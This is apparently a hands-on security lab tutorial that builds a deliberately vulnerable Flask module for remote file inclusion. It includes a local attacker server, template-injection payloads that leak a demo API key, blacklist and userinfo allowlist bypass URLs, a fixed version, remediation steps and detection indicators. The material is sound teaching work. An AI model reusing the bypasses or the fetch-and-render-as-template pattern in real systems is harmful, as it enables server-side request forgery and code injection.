This example uses the shared Flask lab.
We plug RFI in as the remote-file companion to LFI.
Complete the Chapter III Introduction setup first. The base app.py, schema.sql, seed.sql, and database.db must already exist.
The flow is:
create modules/rfi.py
register the blueprint in app.py
start a local attacker HTTP server
restart Flask
visit /rfi/basic
The RFI module provides four pages:
/rfi/basic
/rfi/blacklist
/rfi/better
/rfi/fixed
Expected behavior:
/rfi/basic fetches and renders http://127.0.0.1:8001/notice.txt
/rfi/blacklist blocks 127.0.0.1 but fetches localhost
/rfi/better allows a fake trusted URL and still fetches 127.0.0.1 through userinfo
/rfi/fixed does not fetch a user-controlled URL
Attacker Server
Open a second terminal and start a tiny local HTTP server:
mkdir -p /tmp/ootw-rfi-attacker
cat > /tmp/ootw-rfi-attacker/notice.txt <<'EOF'
Remote notice for {{ username }}.
Arithmetic proof: {{ 7 * 7 }}
Context proof: {{ profile.api_key }}
EOF
python3 -m http.server 8001 --directory /tmp/ootw-rfi-attacker
Keep this server running during the RFI lab.
The vulnerable Flask app will fetch this file as remote content.
Plug In The Module
From the lab directory:
cd ~/ootw-web-lab
source .venv/bin/activate
mkdir -p modules
touch modules/__init__.py
Create modules/rfi.py:
cat > modules/rfi.py <<'EOF'
from urllib.error import URLError
from urllib.parse import urlparse, urlunparse
from urllib.request import Request, urlopen
from flask import Blueprint, abort, redirect, render_template_string, request
from jinja2 import TemplateError
from app import get_db
bp = Blueprint("rfi", __name__, url_prefix="/rfi")
MAX_REMOTE_BYTES = 4000
DEFAULT_REMOTE_URL = "http://127.0.0.1:8001/notice.txt"
LOCALHOST_BYPASS_URL = "http://localhost:8001/notice.txt"
USERINFO_BYPASS_URL = "http://trusted-cdn.ootw.local@127.0.0.1:8001/notice.txt"
SAFE_TEMPLATES = {
"notice": "Remote templates are disabled. Hello {{ username }}.",
"status": "Remote templates are disabled. Order {{ order_id }} totals {{ total }}.",
}
STAGE_GUIDANCE = {
"basic": {
"payload": DEFAULT_REMOTE_URL,
"expected": "Remote content renders and Arithmetic proof becomes 49.",
"meaning": "The server fetched and rendered attacker-controlled remote content.",
},
"blacklist": {
"payload": LOCALHOST_BYPASS_URL,
"expected": "Remote content renders even though 127.0.0.1 was blocked.",
"meaning": "The blacklist blocked one spelling, not the destination.",
},
"better": {
"payload": USERINFO_BYPASS_URL,
"expected": "Remote content renders because the naive allowlist checked netloc text.",
"meaning": "trusted-cdn.ootw.local is userinfo here. The real host is 127.0.0.1.",
},
"fixed": {
"payload": "template_id=notice",
"expected": "No remote fetch occurs.",
"meaning": "The user chooses a server-owned template ID, not a URL.",
},
}
PAGE = """
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>{{ title }}</title>
<style>
body { font-family: system-ui, sans-serif; max-width: 1000px; margin: 40px auto; line-height: 1.5; }
nav a { margin-right: 12px; }
label { display: block; margin-top: 12px; }
input { width: 100%; padding: 7px; box-sizing: border-box; }
button { margin-top: 12px; padding: 7px 10px; }
pre { background: #111; color: #eee; padding: 12px; overflow-x: auto; white-space: pre-wrap; }
code { background: #eee; padding: 2px 4px; }
</style>
</head>
<body>
<h1>{{ title }}</h1>
<nav>
<a href="/rfi/basic">basic</a>
<a href="/rfi/blacklist">blacklist</a>
<a href="/rfi/better">better</a>
<a href="/rfi/fixed">fixed</a>
<a href="/rfi/audit">audit</a>
</nav>
<p>{{ description }}</p>
{% if guidance %}
<h2>Stage Goal</h2>
<p><strong>Payload:</strong> <code>{{ guidance.payload }}</code></p>
<p><strong>Expected:</strong> {{ guidance.expected }}</p>
<p>{{ guidance.meaning }}</p>
{% endif %}
<form method="post" action="/rfi/{{ stage }}">
{% if fixed_mode %}
<label for="template_id">Template ID</label>
<input id="template_id" name="template_id" value="{{ template_id }}">
{% else %}
<label for="url">Remote URL</label>
<input id="url" name="url" value="{{ remote_url }}">
{% endif %}
<button type="submit">Render</button>
</form>
{% if parsed_url %}
<h2>Parsed URL</h2>
<pre>{{ parsed_url }}</pre>
{% endif %}
{% if remote_body %}
<h2>Fetched Remote Body</h2>
<pre>{{ remote_body }}</pre>
{% endif %}
{% if error %}
<h2>Error</h2>
<pre>{{ error }}</pre>
{% endif %}
{% if output is not none %}
<h2>Output</h2>
<pre>{{ output }}</pre>
{% endif %}
</body>
</html>
"""
AUDIT_PAGE = """
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>RFI Audit</title>
</head>
<body>
<h1>RFI Audit</h1>
<p>This page shows recent remote include events from the local lab.</p>
<p><a href="/rfi/basic">back to RFI lab</a></p>
{% for event in events %}
<article>
<p><strong>{{ event["event_type"] }}</strong> - {{ event["username"] }}</p>
<pre>{{ event["detail"] }}</pre>
<small>{{ event["created_at"] }}</small>
</article>
{% else %}
<p>No RFI events yet.</p>
{% endfor %}
</body>
</html>
"""
def template_context():
return {
"username": "operator",
"order_id": "ORD-2048",
"total": "$42.00",
"profile": {
"username": "operator",
"email": "operator@ootw.local",
"api_key": "ootw-rfi-demo-key",
},
}
def describe_url(remote_url):
parsed = urlparse(remote_url)
return (
f"scheme={parsed.scheme}\n"
f"netloc={parsed.netloc}\n"
f"hostname={parsed.hostname}\n"
f"port={parsed.port}\n"
f"path={parsed.path}"
)
def normalized_fetch_url(remote_url):
parsed = urlparse(remote_url)
if parsed.scheme not in {"http", "https"}:
raise ValueError("Only http and https URLs are allowed in this lab.")
if not parsed.hostname:
raise ValueError("URL must contain a hostname.")
host = parsed.hostname
if parsed.port:
host = f"{host}:{parsed.port}"
# urllib is not consistent across environments when userinfo is present.
# The lab fetches the parsed host so the URL confusion behavior is deterministic.
return urlunparse((parsed.scheme, host, parsed.path or "/", "", parsed.query, parsed.fragment))
def fetch_remote(remote_url):
parsed = urlparse(remote_url)
if parsed.scheme not in {"http", "https"}:
raise ValueError("Only http and https URLs are allowed in this lab.")
fetch_url = normalized_fetch_url(remote_url)
req = Request(fetch_url, headers={"User-Agent": "OOTW-RFI-Lab"})
with urlopen(req, timeout=3) as response:
data = response.read(MAX_REMOTE_BYTES)
return data.decode("utf-8", errors="replace")
def render_remote_template(remote_body):
try:
return render_template_string(remote_body, **template_context()), None
except TemplateError as error:
return "", str(error)
def weak_blacklist(remote_url):
if "127.0.0.1" in remote_url:
return False
return True
def naive_allowlist(remote_url):
parsed = urlparse(remote_url)
if parsed.scheme not in {"http", "https"}:
return False
# Deliberately vulnerable: netloc includes userinfo.
return "trusted-cdn.ootw.local" in parsed.netloc
def log_include(stage, remote_url, parsed_url, decision, output, error):
detail = (
f"stage={stage} "
f"url={remote_url} "
f"parsed=({parsed_url.replace(chr(10), '; ')}) "
f"decision={decision} "
f"error={error or 'none'} "
f"output_preview={(output or '')[:300]}"
)
db = get_db()
db.execute(
"""
INSERT INTO audit_log (event_type, username, detail)
VALUES (?, ?, ?)
""",
(f"rfi-{stage}", "operator", detail),
)
db.commit()
def render_lab(
stage,
title,
description,
remote_url,
parsed_url="",
remote_body="",
output=None,
error=None,
fixed_mode=False,
template_id="notice",
):
return render_template_string(
PAGE,
stage=stage,
title=title,
description=description,
guidance=STAGE_GUIDANCE.get(stage),
remote_url=remote_url,
parsed_url=parsed_url,
remote_body=remote_body,
output=output,
error=error,
fixed_mode=fixed_mode,
template_id=template_id,
)
@bp.get("/")
def index():
return redirect("/rfi/basic")
@bp.route("/basic", methods=["GET", "POST"])
def basic():
remote_url = request.form.get("url", DEFAULT_REMOTE_URL)
parsed_url = describe_url(remote_url)
remote_body = ""
output = None
error = None
if request.method == "POST":
try:
remote_body = fetch_remote(remote_url)
output, error = render_remote_template(remote_body)
log_include("basic", remote_url, parsed_url, "fetched-and-rendered", output, error)
except (ValueError, URLError, TimeoutError, OSError) as exc:
error = str(exc)
log_include("basic", remote_url, parsed_url, "fetch-error", "", error)
return render_lab(
"basic",
"RFI Basic",
"The route fetches a user-controlled URL and renders the response body as a Jinja template.",
remote_url,
parsed_url,
remote_body,
output,
error,
)
@bp.route("/blacklist", methods=["GET", "POST"])
def blacklist():
remote_url = request.form.get("url", LOCALHOST_BYPASS_URL)
parsed_url = describe_url(remote_url)
remote_body = ""
output = None
error = None
if request.method == "POST":
if not weak_blacklist(remote_url):
error = "blocked by weak blacklist"
log_include("blacklist", remote_url, parsed_url, "blocked-blacklist", "", error)
else:
try:
remote_body = fetch_remote(remote_url)
output, error = render_remote_template(remote_body)
log_include("blacklist", remote_url, parsed_url, "fetched-after-blacklist", output, error)
except (ValueError, URLError, TimeoutError, OSError) as exc:
error = str(exc)
log_include("blacklist", remote_url, parsed_url, "fetch-error", "", error)
return render_lab(
"blacklist",
"RFI Weak Blacklist",
"The route blocks the exact string 127.0.0.1, but localhost still reaches the same local attacker server.",
remote_url,
parsed_url,
remote_body,
output,
error,
)
@bp.route("/better", methods=["GET", "POST"])
def better():
remote_url = request.form.get("url", USERINFO_BYPASS_URL)
parsed_url = describe_url(remote_url)
remote_body = ""
output = None
error = None
if request.method == "POST":
if not naive_allowlist(remote_url):
error = "blocked by naive allowlist"
log_include("better", remote_url, parsed_url, "blocked-allowlist", "", error)
else:
try:
remote_body = fetch_remote(remote_url)
output, error = render_remote_template(remote_body)
log_include("better", remote_url, parsed_url, "fetched-after-naive-allowlist", output, error)
except (ValueError, URLError, TimeoutError, OSError) as exc:
error = str(exc)
log_include("better", remote_url, parsed_url, "fetch-error", "", error)
return render_lab(
"better",
"RFI Better Naive Allowlist",
"The route tries to require a trusted CDN string, but it checks the wrong URL component.",
remote_url,
parsed_url,
remote_body,
output,
error,
)
@bp.route("/fixed", methods=["GET", "POST"])
def fixed():
template_id = request.form.get("template_id", "notice")
template = SAFE_TEMPLATES.get(template_id)
output = None
error = None
if template is None:
log_include("fixed", template_id, "", "blocked-template-id", "", "unknown-template-id")
abort(404)
if request.method == "POST":
output, error = render_remote_template(template)
log_include("fixed", template_id, "", "server-owned-template", output, error)
return render_lab(
"fixed",
"RFI Fixed",
"The route uses a server-owned template ID. It does not fetch a user-controlled remote URL.",
"",
"",
"",
output,
error,
fixed_mode=True,
template_id=template_id,
)
@bp.get("/audit")
def audit():
db = get_db()
events = db.execute(
"""
SELECT event_type, username, detail, created_at
FROM audit_log
WHERE event_type LIKE 'rfi-%'
ORDER BY id DESC
LIMIT 30
"""
).fetchall()
return render_template_string(AUDIT_PAGE, events=events)
EOF
Now register the module in app.py.
Add this near the bottom of app.py, after the route definitions and before the if __name__ == "__main__": block:
from modules.rfi import bp as rfi_bp
app.register_blueprint(rfi_bp)
If the earlier web modules are already plugged in, keep those lines and add RFI below them:
from modules.xss import bp as xss_bp
app.register_blueprint(xss_bp)
from modules.idor import bp as idor_bp
app.register_blueprint(idor_bp)
from modules.command_injection import bp as command_injection_bp
app.register_blueprint(command_injection_bp)
from modules.file_uploads import bp as file_uploads_bp
app.register_blueprint(file_uploads_bp)
from modules.lfi import bp as lfi_bp
app.register_blueprint(lfi_bp)
from modules.rfi import bp as rfi_bp
app.register_blueprint(rfi_bp)
from modules.sqli import bp as sqli_bp
app.register_blueprint(sqli_bp)
from modules.xxe import bp as xxe_bp
app.register_blueprint(xxe_bp)
from modules.ssti import bp as ssti_bp
app.register_blueprint(ssti_bp)
Run the app:
flask --app app run --host 127.0.0.1 --port 5000
Confirm the module is live:
curl -i "http://127.0.0.1:5000/rfi/basic"
Basic Vulnerability
Open:
http://127.0.0.1:5000/rfi/basic
The vulnerable code is:
remote_body = fetch_remote(remote_url)
output = render_template_string(remote_body, **context)
The bug is not only that the server fetches a URL. The bigger bug is that the fetched remote body is trusted as template source.
Submit:
http://127.0.0.1:8001/notice.txt
Or use curl:
curl -i -X POST "http://127.0.0.1:5000/rfi/basic" \
--data-urlencode "url=http://127.0.0.1:8001/notice.txt"
The attacker HTTP server receives a request.
The output contains:
Arithmetic proof: 49
Context proof: ootw-rfi-demo-key
This proves three things:
- The server made an outbound request.
- The response body came from an attacker-controlled location.
- The application rendered the remote body as server-side template code.
Basic Protection - Weak Blacklist
Open:
http://127.0.0.1:5000/rfi/blacklist
This page blocks one exact string:
if "127.0.0.1" in remote_url:
block
That blocks:
http://127.0.0.1:8001/notice.txt
It does not block:
http://localhost:8001/notice.txt
Run:
curl -i -X POST "http://127.0.0.1:5000/rfi/blacklist" \
--data-urlencode "url=http://localhost:8001/notice.txt"
The same attacker-controlled file is fetched and rendered.
The blacklist blocked one spelling, not the destination.
Better Protection - Naive Allowlist
Open:
http://127.0.0.1:5000/rfi/better
This page tries to allow only a trusted CDN:
return "trusted-cdn.ootw.local" in parsed.netloc
That check is still wrong because netloc includes userinfo.
Submit:
http://trusted-cdn.ootw.local@127.0.0.1:8001/notice.txt
The parsed URL is:
netloc=trusted-cdn.ootw.local@127.0.0.1:8001
hostname=127.0.0.1
The string trusted-cdn.ootw.local appears in netloc, so the naive check passes.
The real destination is still 127.0.0.1.
For lab reliability, the fetcher normalizes the request to the parsed host before opening the connection:
http://127.0.0.1:8001/notice.txt
That keeps the demonstration focused on the validation bug instead of depending on how a specific HTTP client handles userinfo.
Run:
curl -i -X POST "http://127.0.0.1:5000/rfi/better" \
--data-urlencode "url=http://trusted-cdn.ootw.local@127.0.0.1:8001/notice.txt"
The application fetches and renders the attacker-controlled file.
This is better than no check, but it is still not a real boundary.

Fixed Version
Open:
http://127.0.0.1:5000/rfi/fixed
The fixed page does two things:
- It removes user-controlled remote URLs.
- It lets the user choose only an allowlisted server-owned template ID.
The safe lookup:
SAFE_TEMPLATES = {
"notice": "Remote templates are disabled. Hello {{ username }}.",
"status": "Remote templates are disabled. Order {{ order_id }} totals {{ total }}.",
}
Run:
curl -i -X POST "http://127.0.0.1:5000/rfi/fixed" \
--data-urlencode "template_id=notice"
Expected:
Remote templates are disabled. Hello operator.
The attacker HTTP server should not receive a request.
That is the important proof. The application no longer fetches attacker-controlled remote content.
![[Chapter III - Web/9. RFI/Fixed.png]]
Local Impact Proof
Use the vulnerable route:
curl -i -X POST "http://127.0.0.1:5000/rfi/basic" \
--data-urlencode "url=http://127.0.0.1:8001/notice.txt"
Use the blacklist bypass:
curl -i -X POST "http://127.0.0.1:5000/rfi/blacklist" \
--data-urlencode "url=http://localhost:8001/notice.txt"
Use the naive allowlist bypass:
curl -i -X POST "http://127.0.0.1:5000/rfi/better" \
--data-urlencode "url=http://trusted-cdn.ootw.local@127.0.0.1:8001/notice.txt"
Then view:
http://127.0.0.1:5000/rfi/audit
The audit page shows the remote URL, parsed URL, decision, and output preview.
This proves the useful impact:
stage=basic
decision=fetched-and-rendered
output_preview=Remote notice...
The application did not need SQL injection, XSS, or local file traversal. It trusted remote content chosen by the request.
Remediation
Patch RFI by removing remote source control:
- Do not fetch templates, plugins, or executable content from user-controlled URLs.
- Use server-owned templates and server-side IDs.
- Treat fetched remote content as untrusted data, not code or templates.
- Use strict allowlists based on parsed hostname, scheme, and port.
- Reject userinfo in URLs.
- Reject private, loopback, link-local, and internal address ranges.
- Disable redirects or re-validate the final redirect target.
- Use short timeouts and response size limits.
- Restrict outbound network access at the network layer.
- Log rejected URLs and outbound fetch attempts.
Safe pattern:
template_id = request.form.get("template_id", "notice")
template = SAFE_TEMPLATES.get(template_id)
if template is None:
abort(404)
render_template_string(template, **context)
The user can control a small ID. The user cannot control a remote URL.
Detection
Useful signals include:
- Server-side requests to unexpected external hosts.
- Requests containing
url=,template_url=,remote=,feed=, orsource=. - Application fetches to
127.0.0.1,localhost, private IPs, or link-local IPs. - URLs containing userinfo, such as
trusted.example@127.0.0.1. - URL validation failures followed by alternate hostname attempts.
- Outbound requests with unusual user agents.
- Remote template bodies containing
{{,{%,${, or<%. - Audit events where the final parsed hostname differs from the trusted-looking string.
Useful payload indicators:
http://127.0.0.1:8001/notice.txt
http://localhost:8001/notice.txt
http://trusted-cdn.ootw.local@127.0.0.1:8001/notice.txt
{{ 7 * 7 }}
{{ profile.api_key }}
Detection is not the fix. It shows where the application is being asked to trust remote content.